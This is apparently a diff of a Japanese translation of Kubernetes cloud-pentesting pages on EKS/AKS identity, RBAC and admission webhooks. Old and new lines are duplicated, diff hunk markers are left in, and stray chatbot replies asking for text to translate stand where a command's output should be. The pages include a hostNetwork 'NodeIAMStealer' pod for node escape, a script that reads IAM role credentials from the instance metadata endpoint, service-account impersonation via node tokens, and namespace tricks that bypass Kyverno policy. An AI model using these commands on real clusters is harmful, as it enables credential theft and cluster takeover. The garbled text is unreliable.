(なお、metadata endpoint はいつものように 169.254.169.254 にあります)。
(なお、metadata endpoint はいつもどおり 169.254.169.254 にあ)。
新しい EKS 環境では、pod が node instance profile に到達できると決めつける前に、node と cluster mode を確認してください。Amazon Linux 2023 EKS optimized AMIs では IMDS hop limit のデフォルト 1 であり、EKS Auto Mode は `disablePodIMDS` がデフォルトで有効です。そのため、operator がれらの設定を変更していない限り、または pod が `hostNetwork` や node compromise のような別の node-level path を持っていない限り、通常の pod は node-role credentials を受け取るべきではありません。推奨されるパターンは、pod から node IMDS へのアクセスをブロックし、workload の AWS permissions には IRSA または EKS Pod Identity を使うことです。
新しい EKS 環境では、pod が node instance profile に到達できると決めつける前に、node と cluster mode を確認してください。Amazon Linux 2023 EKS optimized AMI では IMDS hop limit のデフォルト 1 で、EKS Auto Mode はデフォルトで `disablePodIMDS` を有効にするため、operator がれらの設定を変更していない限り、通常の pod は node-role credentials を受け取るべきではありません。あるいは pod が `hostNetwork` や node compromise のような別の node-level path を持っている場合を除きます。推奨される方法は、pod から node IMDS へのアクセスをブロックし、workload の AWS permissions には IRSA または EKS Pod Identity を使うことです。
**node に escape する**には、`hostNetwork` を有効にした pod を実行するために次のコマンドを使えます:
```bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
```
### IAM Role Token を Steal する
### IAM Role Token を steal する
以前、**IAM Roles を Pods に attach する**方法や、さらに **Node に escape して、そのインスタンスに attach されている IAM Role を steal する**方法について説明しました。
以前、**IAM Roles を Pods に attach する**方法、あるいは **Node に escape して、その instance に attach されている IAM Role を steal する**方法について説明しました。
の script を使って、苦労して手に入れた新しい **IAM role credentials** を **steal** できます:
以下の script を使って、苦労して手に入れた新しい **IAM role credentials** を **steal** できます:
```bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
@@ -287,11 +330,11 @@ fi
```
### Privesc to cluster-admin
要するに、もし pod から **EKS Node IAM role** に**アクセス**できるなら、**kubernetes クラスタ全体を compromise** することが可能です。
すると、pod から **EKS Node IAM role** にアクセスできれば、**kubernetes クラスタ全体を compromise** できます。
詳細は [this post](https://blog.calif.io/p/privilege-escalation-in-eks) を確認してください。要すると、デフォルトで EKS nodes に割り当てられる default IAM EKS role は、cluster 内で `system:node` role として割り当てられます。この role は kubernetes の [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) によって制限されているものの、非常に興味深いものです。
詳細は [this post](https://blog.calif.io/p/privilege-escalation-in-eks) を参照してください。要するに、EKS nodes にデフォルトで割り当てられる default IAM EKS role は、クラスタ内で `system:node` role として割り当てられます。この role はkubernetes の [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) によって制限されているものの、かなり重要です。
しかし、node は常に、その node 内で動作している pod の service accounts のための token を **generate** できます。したがって、node privileged な service account を持つ pod を実行している場合、node はその service account の token を generate し、それを使って次のように service account を impersonate できます:
しかし、node は常に、その node 内で動ている pods の service accounts の token を **generate** できます。したがって、node 上で privileged な service account を使う pod が動いている場合、node はその service account の token を生成し、次のようにその service account を impersonate できます:
```bash
kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
@@ -300,13 +343,13 @@ kubectl --context=node1 create token -n ns1 sa-priv \
```
## Azure / AKS
AKSでは、評価中に3つのidentity pathを分離して保つ:
AKS では、評価中に 3 つの identity path を分離しておく:
- **Azure to Kubernetes**: Azure principalsは、Azure RBAC roleが許可していれば、Azure Resource Manager経由でuserまたはadmin kubeconfigsを取得できる。`az aks get-credentials --admin` で取得するlocal admin kubeconfigsはcertificate-based credentialsであり、local accountsが無効化されていない限り、通常のMicrosoft Entra user/group governanceを回避できる。
- **Microsoft Entra to Kubernetes**: Entra-integrated clustersは、`kubelogin`/exec kubeconfigsを通じてusersgroupsまたはservice principalsをauthenticateする。最終的なKubernetes actionは、native Kubernetes RBACまたはAzure RBAC for Kubernetes Authorizationauthorizeされる。
- **Kubernetes to Azure**: Podsは通常Microsoft Entra Workload IDを使用するべきであり、これはprojected Kubernetes service account tokensAKS OIDC issuerおよびfederated identity credentialsを通じてEntraexchangeする。
- **Azure to Kubernetes**: Azure principals は、Azure RBAC role が許可していれば、Azure Resource Manager 経由で user または admin kubeconfig を取得できる。`az aks get-credentials --admin` で取得する local admin kubeconfigcertificate-based credentials であり、local accounts が無効化されていない限り、通常の Microsoft Entra user/group governance を回避できる。
- **Microsoft Entra to Kubernetes**: Entra-integrated clusters は、`kubelogin`/exec kubeconfigs を通じて users, groups, または service principals を認証する。最終的な Kubernetes action は、native Kubernetes RBAC または Azure RBAC for Kubernetes Authorization によって authorized される。
- **Kubernetes to Azure**: Pods は通常 Microsoft Entra Workload ID を使用し、projected Kubernetes service account tokensAKS OIDC issuerfederated identity credentials を通じて Entraexchange する。
Azureからの有用なAKS identity checks:
Azure からの役立つ AKS identity checks:
```bash
az aks show -g <resource-group> -n <cluster> \
--query '{disableLocalAccounts:disableLocalAccounts,enableAzureRBAC:enableAzureRBAC,oidcIssuerProfile:oidcIssuerProfile,securityProfile:securityProfile,identity:identity,identityProfile:identityProfile,nodeResourceGroup:nodeResourceGroup}' \
@@ -316,7 +359,7 @@ AKS_ID=$(az aks show -g <resource-group> -n <cluster> --query id -o tsv)
az role assignment list --scope "$AKS_ID" --include-inherited -o table
az role assignment list --scope "$AKS_ID/namespaces/<namespace>" -o table
```
Kubernetes から、AKS Workload ID のシグナルを検索します:
Kubernetes から、AKS Workload ID のシグナルを検索す:
```bash
kubectl get serviceaccounts -A -o yaml | grep -n 'azure.workload.identity' -B 6 -A 8
kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use' -B 8 -A 8
@@ -332,21 +375,43 @@ metadata:
labels:
azure.workload.identity/use: "true"
```
クラスターがまだ非推奨の Microsoft Entra pod-managed identity モデルを使用している場合は、Workload ID の annotations の代わりに、古い CRD と NMI/MIC components を探してください:
新しい AKS 環境では、**AKS Identity Bindings**preview)を使って、各 subject ごとに 1 つの federated identity credential を作成することなく、複数の cluster や service account にわたって Workload ID をスケールできる場合があります。そのモデルでは、user-assigned managed identity が AKS cluster に bind され、workloads は `azure.workload.identity/use-identity-binding: "true"` で opt in し、Kubernetes RBAC は managed identity client IDs にちなんで名付けられた `cid.wi.aks.azure.com` resources に対して `use-managed-identity` を grant します。ここで広範な `ClusterRoleBinding` があると、直接の federated identity credential subjects が狭く見えていても、想定より多くの namespace から同じ Azure identity に access できてしまう可能性があります。
```bash
az aks identity-binding list -g <resource-group> --cluster-name <cluster> -o yaml
kubectl get clusterrole,clusterrolebinding -o yaml | grep -n 'cid.wi.aks.azure.com\|use-managed-identity' -B 8 -A 12
kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use-identity-binding' -B 8 -A 12
```
クラスタがまだ非推奨の Microsoft Entra pod-managed identity モデルを使用している場合は、Workload ID の annotations ではなく、古い CRDs と NMI/MIC コンポーネントを探してください:
```bash
kubectl get crd | grep -i azureidentity
kubectl get azureidentity,azureidentitybinding,azureassignedidentity -A -o yaml 2>/dev/null
kubectl get ds -A | grep -Ei 'nmi|mic|aad-pod-identity'
```
AKS nodes は Azure VM scale set のインスタンスなので、node または host-level access により Azure Instance Metadata Service を `169.254.169.254` で露出させる可能性があります。通常の pod が node managed identity credentials を受け取ると決めつけないでください: workload identity settings、legacy pod identity/NMI の挙動、hostNetwork の使用状況、network controls、そして node access を先に確認してください。node identity に広範な Azure permissions がある場合、application Workload ID が正しくスコープされていても、node compromise Azure pivot になり得ます。
AKS nodes は Azure VM scale set のインスタンスなので、node または host-level のアクセスにより Azure Instance Metadata Service を `169.254.169.254` で露出させる可能性があります。通常の pod が node managed identity credentials を受け取るべきだと決めつけないでくださいworkload identity の設定、legacy pod identity/NMI の挙動、hostNetwork の使用、network controls、そしてまず node access を確認してください。node identity に広範な Azure permissions がある場合、application Workload ID が正しく scoped されていても、node compromise Azure pivot になり得ます。
AKS Automatic と Node Auto-Provisioning (NAP) は、収集すべき node-side の evidence を変えます。AKS Automatic は、Workload ID/OIDC support、managed node pools、node resource group lockdown、managed upgrade behavior を含む、いくつかの production defaults を事前設定します。NAP は managed Karpenter-based provisioning mode であり、`NodePool`、`AKSNodeClass`、`NodeClaim` などの Kubernetes resources を使って、pending workloads のためにどの node を作成するかを決定します。これらの resources を変更できるのは誰か、high-impact な scheduling controls、privileged pods、そして広範な tolerations を確認してください。さらに、node resource group lockdown が direct な VMSS/load balancer edits をブロックし、変更を Kubernetes または AKS APIs 経由に強制していないかも確認してください。
```bash
az aks show -g <resource-group> -n <cluster> \
--query '{sku:sku,nodeProvisioningProfile:nodeProvisioningProfile,autoUpgradeProfile:autoUpgradeProfile,nodeResourceGroup:nodeResourceGroup,securityProfile:securityProfile}' \
-o yaml
kubectl get crd | grep -Ei 'nodepool|aksnodeclass|nodeclaim|karpenter'
kubectl get nodepools,aksnodeclasses,nodeclaims -A -o yaml 2>/dev/null
```
## References
- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
- [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)
- [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/)
- [https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html)
- [https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html)
- [https://learn.microsoft.com/en-us/azure/aks/concepts-identity](https://learn.microsoft.com/en-us/azure/aks/concepts-identity)
- [https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview](https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview)
- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts](https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts)
- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings](https://learn.microsoft.com/en-us/azure/aks/identity-bindings)
- [https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization](https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization)
- [https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic](https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic)
- [https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning](https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning)
- [https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown](https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown)
{{#include ../../banners/hacktricks-training.md}}
@@ -6,31 +6,37 @@
Kubernetes には、API server への利用権限を設定するのに役立つ **Role-Based Access Control** という **authorization module** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) があります。
RBAC の permission model は、**3つの個別の要素**で構成されています:
RBAC の permission model は、**3つの個別の部分**で構成されています:
1. **Role\\ClusterRole ** 実際の permission。これはpermissionsセットを表す _**rules**_ を含みます。各 rule は [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) と [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb) を含みます。verb は resource に対して適用される action です。
1. **Role\ClusterRole ** 実際の permission。これは permission の集合を表す _**rules**_ を含みます。各 rule は [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) と [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb) が含まれます。verb は resource に対して適用される action です。
2. **Subject (User, Group or ServiceAccount) ** permissions を受け取る object。
3. **RoleBinding\\ClusterRoleBinding ** Role\\ClusterRole と subject の間の connection。
3. **RoleBinding\ClusterRoleBinding ** Role\ClusterRole と subject の間の connection。
![Kubernetes RBAC diagram showing RoleBinding connecting a ServiceAccount subject to Role permissions](https://www.cyberark.com/wp-content/uploads/2018/12/rolebiding_serviceaccount_and_role-1024x551.png)
“**Roles**” と “**ClusterRoles**” の違いは、role がどこに適用されるかだけです “**Role**” は **1つの** **特定の** **namespace** にのみ access を付与しますが、 “**ClusterRole**” は cluster 内の **すべての namespaces** で使用できます。さらに、**ClusterRoles** は以下への access も付与できます:
“**Roles**” と “**ClusterRoles**” の違いは、role がどこに適用されるかだけです “**Role**” は **1つの特定の namespace** にのみ access を付与し、 “**ClusterRole**” は cluster 内の **すべての namespaces** で使ます。さらに、**ClusterRoles** は次のものへの access も付与できます:
- **cluster-scoped** resourcesnodes など)。
- **non-resource** endpoints/healthz など)。
- namespaced resourcesPods など)を、**すべての namespaces** にわたって。
- **cluster-scoped** resources (like nodes).
- **non-resource** endpoints (like /healthz).
- namespaced resources (like Pods), **across all namespaces**.
**Kubernetes** 1.6 以降、**RBAC** policies は **デフォルトで有効**です。ただし、RBAC を有効にするには次のようなものを使用できます:
**Kubernetes** 1.6 以降、**RBAC** policies は **デフォルトで有効** です。ただし、RBAC を有効にするには次のようなものを使ます:
```
kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options
```
Modern clusters can also configure the API server authorizer chain with `--authorization-config`, which points to an `AuthorizationConfiguration` file. This file can define ordered authorizers, multiple webhook authorizers, webhook timeouts, `failurePolicy`, cache settings, and CEL `matchConditions` that decide which requests are sent to a webhook. During a security review, do not stop at `--authorization-mode` if `--authorization-config` is present: read the referenced file and check whether a webhook can fail open with `NoOpinion`, whether match conditions skip sensitive resources, and whether all API server replicas use equivalent authorization configuration.
Also check authentication configuration when reviewing anonymous API exposure. `--authentication-config` can scope the anonymous authenticator to specific paths such as `/livez`, `/readyz`, and `/healthz`. Anonymous health endpoint access is not the same as anonymous access to Kubernetes resources; the dangerous condition is an RBAC or authorizer path that lets `system:anonymous` or `system:unauthenticated` read or modify real API objects.
Finally, treat membership in `system:masters` as cluster-admin-equivalent. Users or certificates in this group have unrestricted API access that bypasses normal RBAC and webhook authorization restrictions, so identity mappings that add this group can be more important than ordinary RoleBinding output.
## Templates
**Role** または **ClusterRole** の template では、**roleの名前**、**namespace**roles の場合)、そして role の **apiGroups****resources**、**verbs** を指定する必要があります:
In the template of a **Role** or a **ClusterRole** you will need to indicate the **name of the role**, the **namespace** (in roles) and then the **apiGroups**, **resources** and **verbs** of the role:
- **apiGroups** は、この rule が適用される異なる **API namespaces** を含む array です。例えば、Pod definition apiVersion: v1 を使います。_rbac.authorization.k8s.io \[\*] のような値を持つことができます_。
- **resources** は、この rule がどの **resources に適用されるか** を定義する array です。すべての resources は次のコマンドで確認できます: `kubectl api-resources --namespaced=true`
- **verbs** は、**許可される verbs** を含む array です。Kubernetes における verb は、resource に対して適用する必要がある **action の種類** を定義します。例えば、list verb は collection に対して使われ、"get" は単一の resource に対して使われます。
- The **apiGroups** is an array that contains the different **API namespaces** that this rule applies to. For example, a Pod definition uses apiVersion: v1. _It can has values such as rbac.authorization.k8s.io or \[\*]_.
- The **resources** is an array that defines **which resources this rule applies to**. You can find all the resources with: `kubectl api-resources --namespaced=true`
- The **verbs** is an array that contains the **allowed verbs**. The verb in Kubernetes defines the **type of action** you need to apply to the resource. For example, the list verb is used against collections while "get" is used against a single resource.
### Rules Verbs
@@ -42,19 +48,21 @@ kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options
| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) |
| PUT | update |
| PATCH | patch |
| DELETE | delete (for individual resources), deletecollection (for collections) |
| DELETE | delete (for individual resources), deletecollection (for collections) |
Kubernetes は、specialized verbs を使って追加の permissions に対する authorization を確認することがあります。例えば:
Kubernetes sometimes checks authorization for additional permissions using specialized verbs. For example:
- [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
- `policy` API group の `podsecuritypolicies` resources に対する `use` verb。
- `use` verb on `podsecuritypolicies` resources in the `policy` API group.
- [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping)
- `rbac.authorization.k8s.io` API group の `roles` `clusterroles` resources に対する `bind``escalate` verbs。
- `bind` and `escalate` verbs on `roles` and `clusterroles` resources in the `rbac.authorization.k8s.io` API group.
- [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/)
- core API group の `users``groups``serviceaccounts` に対する `impersonate` verb、そして `authentication.k8s.io` API group`userextras`
- `impersonate` verb on `users`, `groups`, and `serviceaccounts` in the core API group, and the `userextras` in the `authentication.k8s.io` API group.
Kubernetes v1.36 also includes **constrained impersonation** as a beta feature. Instead of only granting the legacy all-or-nothing `impersonate` verb, clusters can grant mode-specific verbs such as `impersonate:user-info`, `impersonate:serviceaccount`, `impersonate:arbitrary-node`, or `impersonate:associated-node`, plus action-specific verbs such as `impersonate-on:user-info:list` on the target resource. Review both halves: the identity the subject can impersonate and the actions it can perform while impersonating. Legacy `impersonate` rules can still allow broader access, so do not assume constrained-looking verbs are enforced unless the API server version and access-review evidence confirm it.
> [!WARNING]
> `kubectl api-resources --sort-by name -o wide` を実行すると、**各 resource がサポートするすべての verbs** を確認できます
> You can find **all the verbs that each resource support** executing `kubectl api-resources --sort-by name -o wide`
### Examples
```yaml:Role
@@ -80,13 +88,13 @@ rules:
resources: ["secrets"]
verbs: ["get", "watch", "list"]
```
たとえば、**ClusterRole** を使用して特定のユーザーに次を実行する権限を与えることができます:
えば、**ClusterRole** を使て特定のユーザーに次を実行させることができます:
```
kubectl get pods --all-namespaces
```
### **RoleBinding and ClusterRoleBinding**
### **RoleBinding ClusterRoleBinding**
[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) **role binding は、role に定義された権限を user または user の集合に付与します**。これは subjectsusersgroupsまたは service accounts)のリストと、付与される role への reference を保持します。**RoleBinding** は特定の **namespace** 内で権限を付与するのに対し、**ClusterRoleBinding** はその access を **cluster-wide** に付与します。
[**docs より:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) **role binding は、role に定義された権限を user または user の集合に付与す**。これは subjectsusers, groups, または service accounts)の一覧と、付与される role への参照を保持する。**RoleBinding** は特定の **namespace** 内で権限を付与するのに対し、**ClusterRoleBinding** はそのアクセスを **cluster-wide** に付与す
```yaml:RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
# This role binding allows "jane" to read pods in the "default" namespace.
@@ -122,13 +130,13 @@ kind: ClusterRole
name: secret-reader
apiGroup: rbac.authorization.k8s.io
```
**Permissions are additive** なので、`list` と `delete` の `secrets` を持つ `clusterRole` があれば、`get` を持つ `Role` を追加できます。なので注意し、常に役割と permissions をテストし、**何が ALLOWED かを指定してください。なぜなら、デフォルトではすべて DENIED だからです。**
**Permissions are additive** なので、`list` と `delete` の `secrets` を持つ `clusterRole` がある場合、`get` を持つ `Role` を追加できます。したがって注意し、常に roles と permissions をテストし、**何が ALLOWED されるかを明示してください。なぜなら、デフォルトではすべて DENIED だからです。**
### 詳細で確認すべき点
RBAC は YAML の `kind` ではなく、API URL に表示される resource names を使います。Pod は `pods`、Deployment は `deployments` で、subresources は `pods/log`、`pods/exec`、`pods/portforward`、`pods/ephemeralcontainers`、`deployments/scale`、`serviceaccounts/token`、`nodes/proxy`、`services/proxy` のようにスラッシュ付きで書かれます。`pods` への permission は、`pods/exec` や `pods/log` への access を自動的には与えません。
RBAC は YAML の `kind` ではなく、API URL に表示される resource names を使います。Pod は `pods`、Deployment は `deployments` であり、subresources は `pods/log`、`pods/exec`、`pods/portforward`、`pods/ephemeralcontainers`、`deployments/scale`、`serviceaccounts/token`、`nodes/proxy`、`services/proxy` のようにスラッシュ付きで書かれます。`pods` に対する permission は、`pods/exec` や `pods/log` への access を自動的には付与しません。
`resourceNames` は、いくつかの requests を特定の object names に制限できます:
`resourceNames` は、一部の requests を特定の object names に制限できます:
```yaml
rules:
- apiGroups: [""]
@@ -136,17 +144,18 @@ resources: ["configmaps"]
resourceNames: ["app-config"]
verbs: ["get", "update"]
```
これは、最上位の `create` や `deletecollection` を名前で制限しません。`list` と `watch` は、クライアントは一致する `metadata.name` フィールドセレクタを含める必要があります。そうしない、そのルールによってリクエストは認可されません:
これはトップレベルの `create` や `deletecollection` を名前で制限しません。`list` と `watch` については、クライアントは一致する `metadata.name` field selector を含める必要があります。そうしない場合、その request はその rule によって authorize されません:
```bash
kubectl get configmaps -n default --field-selector=metadata.name=app-config
```
高影響のチェックには正確なaccess reviewsを使用する:
高影響のチェックには正確なアクセスレビューを使用する:
```bash
kubectl auth can-i create pods/exec -n default
kubectl auth can-i create serviceaccounts/token -n default
kubectl auth can-i impersonate users
kubectl auth can-i bind clusterroles.rbac.authorization.k8s.io
kubectl auth can-i escalate clusterroles.rbac.authorization.k8s.io
kubectl auth can-i impersonate-on:user-info:list pods -n default
```
## **RBACの列挙**
```bash
@@ -170,7 +179,7 @@ kubectl describe roles
kubectl get rolebindings
kubectl describe rolebindings
```
### Role/ClusterRoles悪用した権限昇格
### 権限昇格のためのRole/ClusterRoles悪用
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
@@ -2,28 +2,28 @@
{{#include ../../banners/hacktricks-training.md}}
**このページの元の作者は** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
**このページの元の作者は** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196) です
## 定義
`ValidatingWebhookConfiguration` は、1つ以上の validating admission webhook を登録する Kubernetes リソースです。これらの webhook は、認証と認可の後、しかしオブジェクトが永続化される前に、API server から AdmissionReview リクエストを受け取ります。
`ValidatingWebhookConfiguration` は、1つ以上の validating admission webhooks を登録する Kubernetes リソースです。これらの webhooks は、認証と認可の後、オブジェクトが永続化される前に、API server から AdmissionReview リクエストを受け取ります。
Validating webhook はリクエストを拒否できます。`MutatingWebhookConfiguration` で設定された mutating webhook は、まずオブジェクトを変更できます。セキュリティレビューでは通常、両方のリソースを確認すべきです。なぜなら、悪意のある、または弱い mutating webhook は workload を書き換えられ、validating webhook や policy engine はそれらをブロックまたは許可できるからです。
Validating webhooks はリクエストを拒否できます。`MutatingWebhookConfiguration` で設定された Mutating webhooks は、まずオブジェクトを変更できます。セキュリティレビューでは通常、両方のリソースを確認すべきです。なぜなら、悪意のある、または脆弱な mutating webhook は workload を書き換えられ、validating webhook や policy engine はそれらをブロックまたは許可できるからです。
## 目的
`ValidatingWebhookConfiguration` の目的は、API server がいつ validating webhook を呼び出すべきか、そして webhook の結果をどう扱うべきかを定義することです。重要なセキュリティ上の प्रश्नは、単に「policy がインストールされているか?」だけではなく、次の点も含まれます。
`ValidatingWebhookConfiguration` の目的は、API server がいつ validating webhook を呼び出すべきか、そして webhook の結果をどう扱うべきかを定義することです。重要なセキュリティ上の प्रश्नは、単に「policy がインストールされているか?」だけではなく、次の点も含ます。
- どの API groups、resources、operations、scopes に一致するか?
- selectors によって除外される namespaces または objects はどれか?
- どの namespaces または objects が selectors により除外されるか?
- `matchConditions` はどの request classes をスキップするか?
- `failurePolicy``Ignore` で fail open か、`Fail` で fail closed か?
- webhook service は到達可能か、設定された `caBundle` により信頼されているか、そして高い権限を持つ service account によって実行されているか?
- `failurePolicy``Ignore` で fail open するか、それとも `Fail` で fail closed するか?
- webhook service は到達可能か、設定された `caBundle` により信頼されているか、そして高い権限を持つ service account 実行されているか?
- policy engine は exception resources、excluded users、または excluded groups も公開しているか?
****
**Example**
以下は ValidatingWebhookConfiguration の例です:
Here is an example of a ValidatingWebhookConfiguration:
```yaml
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingWebhookConfiguration
@@ -53,12 +53,10 @@ matchExpressions:
operator: NotIn
values: ["kube-system"]
```
ValidatingWebhookConfiguration と policies の主な違いは次のとおりです:
<figure><img src="../../images/Kyverno.png" alt=""><figcaption><p>Kyverno.png</p></figcaption></figure>
- **ValidatingWebhookConfiguration (VWC)** : 受信する Kubernetes API リクエストを、あらかじめ定義されたルールと制約のセットにして検証する server-side コンポーネントである validating webhook を定義する Kubernetes リソース
- **Kyverno ClusterPolicy**: pods、deployments、services などの Kubernetes リソースを検証し、強制するための、ルールと制約のセットを指定する policy 定義
- **ValidatingWebhookConfiguration (VWC)** : 受信する Kubernetes API リクエストを、事前定義されたルールと制約のセットに照らして検証する server-side component である validating webhook を定義する Kubernetes resource
- **Kyverno ClusterPolicy**: pods、deployments、services などの Kubernetes resources を検証し、強制するための、ルールと制約のセットを指定する policy definition
## Enumeration
```
@@ -69,35 +67,55 @@ $ kubectl get svc,deploy,pod -A | grep -i webhook
```
Fields to inspect:
- `rules`: カバーされる API groups、versions、resources、subresources、operations、scope を確認す
- `namespaceSelector` / `objectSelector`: policy から resources を除外する namespaces や labels がないか確認す
- `matchConditions`: CEL expressions により、意図的または誤って requests スキップしていないか確認する
- `failurePolicy`: `Ignore` は webhook が失敗しても requests を継続させ`Fail` はそれらをブロックす
- `sideEffects`: side effects を持つ webhooks は dry-run testing をサポートしない場合があ
- `timeoutSeconds`: `Ignore` と組み合わさった非常に短い timeouts は fail-open behavior になり得る。
- `clientConfig`: webhook が in-cluster Service を指しているか external URL を指しているか確認し、backing workload と service account を調べ
- `reinvocationPolicy`: 後続の mutation object が変更された場合、mutating webhooks が再度呼び出されることがあ
- `rules`: 対象となる API groups、versions、resources、subresources、operations、scope を確認します。
- `namespaceSelector` / `objectSelector`: policy から除外される namespaces や labels がないか確認します。
- `matchConditions`: CEL expressions により、intentional または accidental に requests スキップされることがあります
- `failurePolicy`: `Ignore` は webhook が失敗しても requests を継続`Fail` はそれらをブロックします。
- `sideEffects`: side effects のある webhooks は dry-run testing をサポートしない場合があります
- `timeoutSeconds`: `Ignore` と組み合わさった非常に短い timeout は fail-open behavior になることがあります
- `clientConfig`: webhook が in-cluster Service か external URL のどちらを指しているか確認し、背後の workload と service account を調べます
- `reinvocationPolicy`: Mutating webhooks は、後続の mutation により object が変化した場合に再度呼び出されることがあります
### Native CEL admission policies
Modern clusters can also enforce admission logic with native policy objects in `admissionregistration.k8s.io`, not only with webhook configurations. `ValidatingAdmissionPolicy` is an in-process CEL-based alternative to validating webhooks and is only active when a `ValidatingAdmissionPolicyBinding` selects it. `MutatingAdmissionPolicy` is stable in Kubernetes v1.36 and is activated by `MutatingAdmissionPolicyBinding` for CEL-generated mutations.
Enumerate them with:
```bash
kubectl api-resources --api-group=admissionregistration.k8s.io -o wide
kubectl get validatingadmissionpolicies,validatingadmissionpolicybindings
kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings 2>/dev/null || true
kubectl get validatingadmissionpolicy <name> -o yaml
kubectl get validatingadmissionpolicybinding <name> -o yaml
```
Security checks:
- binding のない policy は何も enforce しない。
- binding 上の `validationActions` が、validation failure を deny、warn、audit、または record のみにするかを決める。
- `failurePolicy: Ignore` により、CEL evaluation errors や misconfiguration で fail open になる。
- `matchConstraints``matchConditions``namespaceSelector``objectSelector` は sensitive requests を除外できる。
- `paramKind``paramRef` により、ConfigMaps や CRD-backed parameter objects を policy boundary の一部にできる; それら parameter objects を誰が modify できるか確認すること。
- policies、bindings、parameter resources への writes は privileged admission-control changes として扱うべきである。
### Abusing Kyverno and Gatekeeper VWC
As we can see all operators installed have at least one ValidatingWebHookConfiguration(VWC).
見てわかるように、install されているすべての operator は少なくとも1つの ValidatingWebHookConfiguration(VWC) を持っている。
**Kyverno** and **Gatekeeper** are both Kubernetes policy engines that provide a framework for defining and enforcing policies across a cluster.
**Kyverno** **Gatekeeper** はどちらも Kubernetes policy engines で、cluster 全体にわたって policy を定義し enforce するための framework を提供する。
Exceptions refer to specific rules or conditions that allow a policy to be bypassed or modified under certain circumstances but this is not the only way !
Exceptions は、特定の rule condition を指し、一定の circumstances の下で policy bypass または modify できるようにするが、これが唯一の方法ではない!
For **kyverno**, as you as there is a validating policy, the webhook `kyverno-resource-validating-webhook-cfg` is populated.
**kyverno** では、validating policy があると、webhook `kyverno-resource-validating-webhook-cfg` populated される。
For Gatekeeper, there is `gatekeeper-validating-webhook-configuration` YAML file.
Gatekeeper では、`gatekeeper-validating-webhook-configuration` YAML file がある。
Both come from with default values but the Administrator teams might updated those 2 files.
どちらも default values から作成されるが、Administrator teams によってこの2つの file は update されている可能性がある。
### Use Case
```bash
$ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml
```
対応する出力を特定するには、その「following output」の内容が必要です。
翻訳対象の本文を貼ってください。
もちろんです。翻訳対象の「以下の出力」を貼り付けてください。
```yaml
namespaceSelector:
matchExpressions:
@@ -110,22 +128,22 @@ values:
- kube-system
- MYAPP
```
ここで、`kubernetes.io/metadata.name` は namespace 名ラベルを指します。`values` リスト内の名前を持つ namespaces は policy から除外されます。
ここで、`kubernetes.io/metadata.name` は namespace 名ラベルを指します。`values` リスト内の名前を持つ namespaces は policy から除外されます。
Namespaces の存在を確認してください。場合によっては、automation や misconfiguration により、まだ作成されていない namespaces があることがあります。namespace を作成する権限がある場合、`values` リスト内の名前で namespace を作成でき、その新しい namespace には policies が適用されません。
